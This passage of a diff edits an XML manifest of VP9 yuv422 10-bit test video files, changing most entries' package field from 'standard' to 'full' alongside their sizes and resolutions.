+    <value>mime=video/x-vnd.on2.vp9,size=362833,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=261729,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=261729,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354775,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354775,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=368986,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=368986,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1353868,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32217,10 +32217,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=98103914,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=14563490,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32229,7 +32229,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=98103914,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=5028715,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32244,55 +32244,55 @@
     <value>mime=video/x-vnd.on2.vp9,size=2161955,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=674593,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=674593,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=321875,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=321875,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88203,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88203,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354922,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354922,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354833,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354833,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354009,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354009,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353657,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353657,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354529,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354529,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354298,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354298,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=353521,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=353521,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=299904,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=299904,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354776,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_1x1.webm">
     <value>mime=video/x-vnd.on2.vp9,size=952303,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32376,7 +32376,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=952475,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=699287,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=699287,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_downScale_10_noKey_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=952475,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32433,7 +32433,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=891322,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=276020,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=276020,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_sharp0_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=952475,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32559,7 +32559,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=952623,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=700199,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=700199,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=952623,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32616,7 +32616,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=892177,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=277632,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=277632,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_sharp0_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=952623,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -32661,106 +32661,106 @@
     <value>mime=video/x-vnd.on2.vp9,size=952623,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41241,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41241,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41451,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41451,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41833,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41833,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40682,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40682,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40687,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40687,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42518,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42518,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42523,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42523,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42185,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42185,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42399,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42399,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42472,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42472,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42523,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42523,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42523,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42523,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42523,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42523,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42000,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42000,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=44580,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=44580,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42156,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=37077,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=37077,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42632,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=44621,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
